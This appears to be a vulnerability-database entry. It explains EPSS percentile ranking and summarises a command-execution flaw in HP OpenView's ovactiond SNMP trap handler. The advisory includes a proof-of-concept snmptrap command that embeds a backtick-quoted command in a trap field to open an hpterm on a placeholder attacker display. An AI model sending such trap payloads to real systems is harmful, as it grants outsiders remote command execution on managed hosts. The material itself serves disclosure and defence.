The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

It is designed for use on enterprise systems, and offers remote administrative facilities. A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized. snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s ""
